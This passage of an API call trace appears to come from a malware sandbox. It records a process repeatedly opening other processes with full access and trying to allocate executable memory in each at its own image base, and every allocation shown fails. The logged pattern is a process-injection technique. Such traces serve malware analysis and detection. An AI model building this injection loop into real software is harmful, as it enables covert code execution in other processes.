	[0122.982] GetLastError () returned 0x1e7
	[0122.982] CloseHandle (hObject=0x394) returned 1
	[0122.983] Sleep (dwMilliseconds=0x1f4) 
	[0123.753] SetLastError (dwErrCode=0x0) 
	[0123.753] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x86c) returned 0x394
	[0123.753] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0123.753] SetLastError (dwErrCode=0x0) 
	[0123.754] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0123.754] GetLastError () returned 0x1e7
	[0123.754] CloseHandle (hObject=0x394) returned 1
	[0123.754] Sleep (dwMilliseconds=0x1f4) 
	[0124.602] SetLastError (dwErrCode=0x0) 
	[0124.603] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x87c) returned 0x330
	[0124.603] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0124.603] SetLastError (dwErrCode=0x0) 
	[0124.603] VirtualAllocEx (hProcess=0x330, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0124.603] GetLastError () returned 0x1e7
	[0124.603] CloseHandle (hObject=0x330) returned 1
	[0124.603] Sleep (dwMilliseconds=0x1f4) 
	[0125.391] SetLastError (dwErrCode=0x0) 
	[0125.391] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x88c) returned 0x394
	[0125.392] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0125.392] SetLastError (dwErrCode=0x0) 
	[0125.392] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0125.393] GetLastError () returned 0x1e7
	[0125.393] CloseHandle (hObject=0x394) returned 1
	[0125.393] Sleep (dwMilliseconds=0x1f4) 
	[0126.052] SetLastError (dwErrCode=0x0) 
	[0126.052] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x89c) returned 0x284
	[0126.052] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0126.052] SetLastError (dwErrCode=0x0) 
	[0126.052] VirtualAllocEx (hProcess=0x284, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0126.052] GetLastError () returned 0x1e7
	[0126.053] CloseHandle (hObject=0x284) returned 1
	[0126.053] Sleep (dwMilliseconds=0x1f4) 
	[0126.959] SetLastError (dwErrCode=0x0) 
	[0126.959] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ac) returned 0x384
	[0126.959] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0126.960] SetLastError (dwErrCode=0x0) 
	[0126.960] VirtualAllocEx (hProcess=0x384, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0126.960] GetLastError () returned 0x1e7
	[0126.960] CloseHandle (hObject=0x384) returned 1
	[0126.960] Sleep (dwMilliseconds=0x1f4) 
	[0127.891] SetLastError (dwErrCode=0x0) 
	[0127.891] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8bc) returned 0x284
	[0127.892] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0127.892] SetLastError (dwErrCode=0x0) 
	[0127.892] VirtualAllocEx (hProcess=0x284, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0127.892] GetLastError () returned 0x1e7
	[0127.892] CloseHandle (hObject=0x284) returned 1
	[0127.893] Sleep (dwMilliseconds=0x1f4) 
	[0128.602] SetLastError (dwErrCode=0x0) 
	[0128.602] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8cc) returned 0x284
	[0128.603] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0128.603] SetLastError (dwErrCode=0x0) 
	[0128.603] VirtualAllocEx (hProcess=0x284, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0128.603] GetLastError () returned 0x1e7
	[0128.603] CloseHandle (hObject=0x284) returned 1
	[0128.603] Sleep (dwMilliseconds=0x1f4) 
	[0129.384] SetLastError (dwErrCode=0x0) 
	[0129.384] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8dc) returned 0x384
	[0129.385] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0129.385] SetLastError (dwErrCode=0x0) 
	[0129.385] VirtualAllocEx (hProcess=0x384, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0129.385] GetLastError () returned 0x1e7
	[0129.385] CloseHandle (hObject=0x384) returned 1
	[0129.385] Sleep (dwMilliseconds=0x1f4) 
	[0130.065] SetLastError (dwErrCode=0x0) 
	[0130.065] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ec) returned 0x354
	[0130.066] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0130.066] SetLastError (dwErrCode=0x0) 
	[0130.066] VirtualAllocEx (hProcess=0x354, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0130.066] GetLastError () returned 0x1e7
	[0130.066] CloseHandle (hObject=0x354) returned 1
	[0130.066] Sleep (dwMilliseconds=0x1f4) 
	[0130.988] SetLastError (dwErrCode=0x0) 
	[0130.988] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8fc) returned 0x3b0
	[0130.989] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0130.989] SetLastError (dwErrCode=0x0) 
	[0130.989] VirtualAllocEx (hProcess=0x3b0, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0130.989] GetLastError () returned 0x1e7
	[0130.989] CloseHandle (hObject=0x3b0) returned 1
	[0130.989] Sleep (dwMilliseconds=0x1f4) 
	[0131.762] SetLastError (dwErrCode=0x0) 
	[0131.762] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x90c) returned 0x394
	[0131.763] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0131.763] SetLastError (dwErrCode=0x0) 
	[0131.763] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0131.763] GetLastError () returned 0x1e7
	[0131.763] CloseHandle (hObject=0x394) returned 1
	[0131.763] Sleep (dwMilliseconds=0x1f4) 
	[0132.542] SetLastError (dwErrCode=0x0) 
	[0132.542] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x91c) returned 0x394
	[0132.542] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0132.542] SetLastError (dwErrCode=0x0) 
	[0132.542] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0132.543] GetLastError () returned 0x1e7
	[0132.543] CloseHandle (hObject=0x394) returned 1
	[0132.543] Sleep (dwMilliseconds=0x1f4) 
	[0133.543] SetLastError (dwErrCode=0x0) 
	[0133.543] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x92c) returned 0x394
	[0133.544] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0133.544] SetLastError (dwErrCode=0x0) 
	[0133.544] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0133.544] GetLastError () returned 0x1e7
	[0133.544] CloseHandle (hObject=0x394) returned 1
	[0133.545] Sleep (dwMilliseconds=0x1f4) 
	[0134.218] SetLastError (dwErrCode=0x0) 
	[0134.218] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x93c) returned 0x394
	[0134.219] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0134.219] SetLastError (dwErrCode=0x0) 
	[0134.219] VirtualAllocEx (hProcess=0x394, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0134.219] GetLastError () returned 0x1e7
	[0134.219] CloseHandle (hObject=0x394) returned 1
	[0134.219] Sleep (dwMilliseconds=0x1f4) 
	[0135.019] SetLastError (dwErrCode=0x0) 
	[0135.019] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x94c) returned 0x3b4
	[0135.019] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0135.019] SetLastError (dwErrCode=0x0) 
	[0135.019] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0154.857] GetLastError () returned 0x1e7
	[0154.857] CloseHandle (hObject=0x3b4) returned 1
	[0154.857] Sleep (dwMilliseconds=0x1f4) 
	[0155.922] SetLastError (dwErrCode=0x0) 
	[0155.922] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x95c) returned 0x3b4
	[0155.922] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0155.923] SetLastError (dwErrCode=0x0) 
	[0155.923] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0155.923] GetLastError () returned 0x1e7
	[0155.923] CloseHandle (hObject=0x3b4) returned 1
	[0155.923] Sleep (dwMilliseconds=0x1f4) 
	[0156.614] SetLastError (dwErrCode=0x0) 
	[0156.614] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x96c) returned 0x3b4
	[0156.614] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0156.614] SetLastError (dwErrCode=0x0) 
	[0156.614] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0156.614] GetLastError () returned 0x1e7
	[0156.614] CloseHandle (hObject=0x3b4) returned 1
	[0156.615] Sleep (dwMilliseconds=0x1f4) 
	[0157.544] SetLastError (dwErrCode=0x0) 
	[0157.544] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x97c) returned 0x278
	[0157.545] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0157.545] SetLastError (dwErrCode=0x0) 
	[0157.545] VirtualAllocEx (hProcess=0x278, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0157.545] GetLastError () returned 0x1e7
	[0157.545] CloseHandle (hObject=0x278) returned 1
	[0157.546] Sleep (dwMilliseconds=0x1f4) 
	[0158.458] SetLastError (dwErrCode=0x0) 
	[0158.458] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x98c) returned 0x134
	[0158.458] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0158.459] SetLastError (dwErrCode=0x0) 
	[0158.459] VirtualAllocEx (hProcess=0x134, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0158.459] GetLastError () returned 0x1e7
	[0158.459] CloseHandle (hObject=0x134) returned 1
	[0158.459] Sleep (dwMilliseconds=0x1f4) 
	[0159.243] SetLastError (dwErrCode=0x0) 
	[0159.243] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x99c) returned 0x3a4
	[0159.244] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0159.244] SetLastError (dwErrCode=0x0) 
	[0159.244] VirtualAllocEx (hProcess=0x3a4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0159.244] GetLastError () returned 0x1e7
	[0159.244] CloseHandle (hObject=0x3a4) returned 1
	[0159.244] Sleep (dwMilliseconds=0x1f4) 
	[0160.166] SetLastError (dwErrCode=0x0) 
	[0160.166] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9ac) returned 0x244
	[0160.166] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0160.167] SetLastError (dwErrCode=0x0) 
	[0160.167] VirtualAllocEx (hProcess=0x244, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0160.167] GetLastError () returned 0x1e7
	[0160.167] CloseHandle (hObject=0x244) returned 1
	[0160.167] Sleep (dwMilliseconds=0x1f4) 
	[0160.820] SetLastError (dwErrCode=0x0) 
	[0160.821] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9bc) returned 0x244
	[0160.821] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0160.821] SetLastError (dwErrCode=0x0) 
	[0160.821] VirtualAllocEx (hProcess=0x244, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0160.821] GetLastError () returned 0x1e7
	[0160.821] CloseHandle (hObject=0x244) returned 1
	[0160.821] Sleep (dwMilliseconds=0x1f4) 
	[0161.477] SetLastError (dwErrCode=0x0) 
	[0161.477] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9cc) returned 0x244
	[0161.477] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0161.477] SetLastError (dwErrCode=0x0) 
	[0161.477] VirtualAllocEx (hProcess=0x244, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0161.477] GetLastError () returned 0x1e7
	[0161.478] CloseHandle (hObject=0x244) returned 1
	[0161.478] Sleep (dwMilliseconds=0x1f4) 
	[0162.192] SetLastError (dwErrCode=0x0) 
	[0162.192] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9dc) returned 0x164
	[0162.192] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0162.193] SetLastError (dwErrCode=0x0) 
	[0162.193] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0162.193] GetLastError () returned 0x1e7
	[0162.193] CloseHandle (hObject=0x164) returned 1
	[0162.193] Sleep (dwMilliseconds=0x1f4) 
	[0163.208] SetLastError (dwErrCode=0x0) 
	[0163.208] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9ec) returned 0x0
	[0163.208] Sleep (dwMilliseconds=0x1f4) 
	[0163.984] SetLastError (dwErrCode=0x0) 
	[0163.984] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9fc) returned 0x164
	[0163.985] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0163.985] SetLastError (dwErrCode=0x0) 
	[0163.985] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0163.985] GetLastError () returned 0x1e7
	[0163.986] CloseHandle (hObject=0x164) returned 1
	[0163.986] Sleep (dwMilliseconds=0x1f4) 
	[0164.628] SetLastError (dwErrCode=0x0) 
	[0164.628] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa0c) returned 0x164
	[0164.628] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0164.629] SetLastError (dwErrCode=0x0) 
	[0164.629] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0164.629] GetLastError () returned 0x1e7
	[0164.629] CloseHandle (hObject=0x164) returned 1
	[0164.629] Sleep (dwMilliseconds=0x1f4) 
	[0165.469] SetLastError (dwErrCode=0x0) 
	[0165.469] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa1c) returned 0x164
	[0165.470] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0165.470] SetLastError (dwErrCode=0x0) 
	[0165.470] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0165.470] GetLastError () returned 0x1e7
	[0165.470] CloseHandle (hObject=0x164) returned 1
	[0165.470] Sleep (dwMilliseconds=0x1f4) 
	[0166.114] SetLastError (dwErrCode=0x0) 
	[0166.114] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa2c) returned 0x164
	[0166.114] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0166.114] SetLastError (dwErrCode=0x0) 
	[0166.114] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0166.114] GetLastError () returned 0x1e7
	[0166.114] CloseHandle (hObject=0x164) returned 1
	[0166.115] Sleep (dwMilliseconds=0x1f4) 
	[0166.815] SetLastError (dwErrCode=0x0) 
	[0166.815] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa3c) returned 0x164
	[0166.816] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0166.816] SetLastError (dwErrCode=0x0) 
	[0166.816] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0166.816] GetLastError () returned 0x1e7
	[0166.816] CloseHandle (hObject=0x164) returned 1
	[0166.816] Sleep (dwMilliseconds=0x1f4) 
	[0167.496] SetLastError (dwErrCode=0x0) 
	[0167.496] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa4c) returned 0x164
	[0167.497] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0167.497] SetLastError (dwErrCode=0x0) 
	[0167.497] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0167.497] GetLastError () returned 0x1e7
	[0167.497] CloseHandle (hObject=0x164) returned 1
	[0167.497] Sleep (dwMilliseconds=0x1f4) 
	[0168.123] SetLastError (dwErrCode=0x0) 
	[0168.123] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa5c) returned 0x164
	[0168.123] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0168.123] SetLastError (dwErrCode=0x0) 
	[0168.123] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0168.124] GetLastError () returned 0x1e7
	[0168.124] CloseHandle (hObject=0x164) returned 1
	[0168.124] Sleep (dwMilliseconds=0x1f4) 
	[0168.815] SetLastError (dwErrCode=0x0) 
	[0168.815] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa6c) returned 0x164
	[0168.816] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0168.816] SetLastError (dwErrCode=0x0) 
	[0168.816] VirtualAllocEx (hProcess=0x164, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0168.816] GetLastError () returned 0x1e7
	[0168.816] CloseHandle (hObject=0x164) returned 1
	[0168.816] Sleep (dwMilliseconds=0x1f4) 
	[0169.541] SetLastError (dwErrCode=0x0) 
	[0169.541] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa7c) returned 0x39c
	[0169.541] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0169.541] SetLastError (dwErrCode=0x0) 
	[0169.542] VirtualAllocEx (hProcess=0x39c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0169.542] GetLastError () returned 0x1e7
	[0169.542] CloseHandle (hObject=0x39c) returned 1
	[0169.542] Sleep (dwMilliseconds=0x1f4) 
	[0170.277] SetLastError (dwErrCode=0x0) 
	[0170.277] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa8c) returned 0x39c
	[0170.277] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0170.277] SetLastError (dwErrCode=0x0) 
	[0170.277] VirtualAllocEx (hProcess=0x39c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0170.278] GetLastError () returned 0x1e7
	[0170.278] CloseHandle (hObject=0x39c) returned 1
	[0170.278] Sleep (dwMilliseconds=0x1f4) 
	[0171.101] SetLastError (dwErrCode=0x0) 
	[0171.101] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa9c) returned 0x39c
	[0171.101] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0171.101] SetLastError (dwErrCode=0x0) 
	[0171.101] VirtualAllocEx (hProcess=0x39c, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0171.102] GetLastError () returned 0x1e7
	[0171.102] CloseHandle (hObject=0x39c) returned 1
	[0171.102] Sleep (dwMilliseconds=0x1f4) 
	[0171.711] SetLastError (dwErrCode=0x0) 
	[0171.711] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaac) returned 0x3b4
	[0171.711] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0171.711] SetLastError (dwErrCode=0x0) 
	[0171.711] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0171.712] GetLastError () returned 0x1e7
	[0171.712] CloseHandle (hObject=0x3b4) returned 1
	[0171.712] Sleep (dwMilliseconds=0x1f4) 
	[0172.472] SetLastError (dwErrCode=0x0) 
	[0172.472] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xabc) returned 0x3b4
	[0172.473] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0172.473] SetLastError (dwErrCode=0x0) 
	[0172.473] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0172.473] GetLastError () returned 0x1e7
	[0172.473] CloseHandle (hObject=0x3b4) returned 1
	[0172.473] Sleep (dwMilliseconds=0x1f4) 
	[0173.173] SetLastError (dwErrCode=0x0) 
	[0173.173] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xacc) returned 0x3b4
	[0173.173] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0173.173] SetLastError (dwErrCode=0x0) 
	[0173.174] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0173.174] GetLastError () returned 0x1e7
	[0173.174] CloseHandle (hObject=0x3b4) returned 1
	[0173.174] Sleep (dwMilliseconds=0x1f4) 
	[0173.908] SetLastError (dwErrCode=0x0) 
	[0173.909] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xadc) returned 0x3b4
	[0173.909] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0173.909] SetLastError (dwErrCode=0x0) 
	[0173.909] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0173.909] GetLastError () returned 0x1e7
	[0173.909] CloseHandle (hObject=0x3b4) returned 1
	[0173.909] Sleep (dwMilliseconds=0x1f4) 
	[0174.564] SetLastError (dwErrCode=0x0) 
	[0174.564] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaec) returned 0x3b4
	[0174.564] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0174.564] SetLastError (dwErrCode=0x0) 
	[0174.564] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0174.565] GetLastError () returned 0x1e7
	[0174.565] CloseHandle (hObject=0x3b4) returned 1
	[0174.565] Sleep (dwMilliseconds=0x1f4) 
	[0175.239] SetLastError (dwErrCode=0x0) 
	[0175.239] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xafc) returned 0x3b4
	[0175.239] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0175.239] SetLastError (dwErrCode=0x0) 
	[0175.240] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0175.240] GetLastError () returned 0x1e7
	[0175.240] CloseHandle (hObject=0x3b4) returned 1
	[0175.240] Sleep (dwMilliseconds=0x1f4) 
	[0175.917] SetLastError (dwErrCode=0x0) 
	[0175.917] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb0c) returned 0x3b4
	[0175.917] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0175.917] SetLastError (dwErrCode=0x0) 
	[0175.917] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0175.918] GetLastError () returned 0x1e7
	[0175.918] CloseHandle (hObject=0x3b4) returned 1
	[0175.918] Sleep (dwMilliseconds=0x1f4) 
	[0176.613] SetLastError (dwErrCode=0x0) 
	[0176.613] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb1c) returned 0x3b4
	[0176.614] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0176.614] SetLastError (dwErrCode=0x0) 
	[0176.614] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0176.614] GetLastError () returned 0x1e7
	[0176.614] CloseHandle (hObject=0x3b4) returned 1
	[0176.614] Sleep (dwMilliseconds=0x1f4) 
	[0177.311] SetLastError (dwErrCode=0x0) 
	[0177.311] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb2c) returned 0x3b4
	[0177.311] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0177.311] SetLastError (dwErrCode=0x0) 
	[0177.311] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0177.311] GetLastError () returned 0x1e7
	[0177.311] CloseHandle (hObject=0x3b4) returned 1
	[0177.312] Sleep (dwMilliseconds=0x1f4) 
	[0177.964] SetLastError (dwErrCode=0x0) 
	[0177.964] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb3c) returned 0x3b4
	[0177.965] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0177.965] SetLastError (dwErrCode=0x0) 
	[0177.965] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0177.965] GetLastError () returned 0x1e7
	[0177.965] CloseHandle (hObject=0x3b4) returned 1
	[0177.966] Sleep (dwMilliseconds=0x1f4) 
	[0178.602] SetLastError (dwErrCode=0x0) 
	[0178.603] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb4c) returned 0x3b4
	[0178.603] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0178.603] SetLastError (dwErrCode=0x0) 
	[0178.603] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0178.603] GetLastError () returned 0x1e7
	[0178.604] CloseHandle (hObject=0x3b4) returned 1
	[0178.604] Sleep (dwMilliseconds=0x1f4) 
	[0179.301] SetLastError (dwErrCode=0x0) 
	[0179.301] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb5c) returned 0x3b4
	[0179.301] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0179.302] SetLastError (dwErrCode=0x0) 
	[0179.302] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0179.302] GetLastError () returned 0x1e7
	[0179.302] CloseHandle (hObject=0x3b4) returned 1
	[0179.302] Sleep (dwMilliseconds=0x1f4) 
	[0179.931] SetLastError (dwErrCode=0x0) 
	[0179.931] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb6c) returned 0x3b4
	[0179.932] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
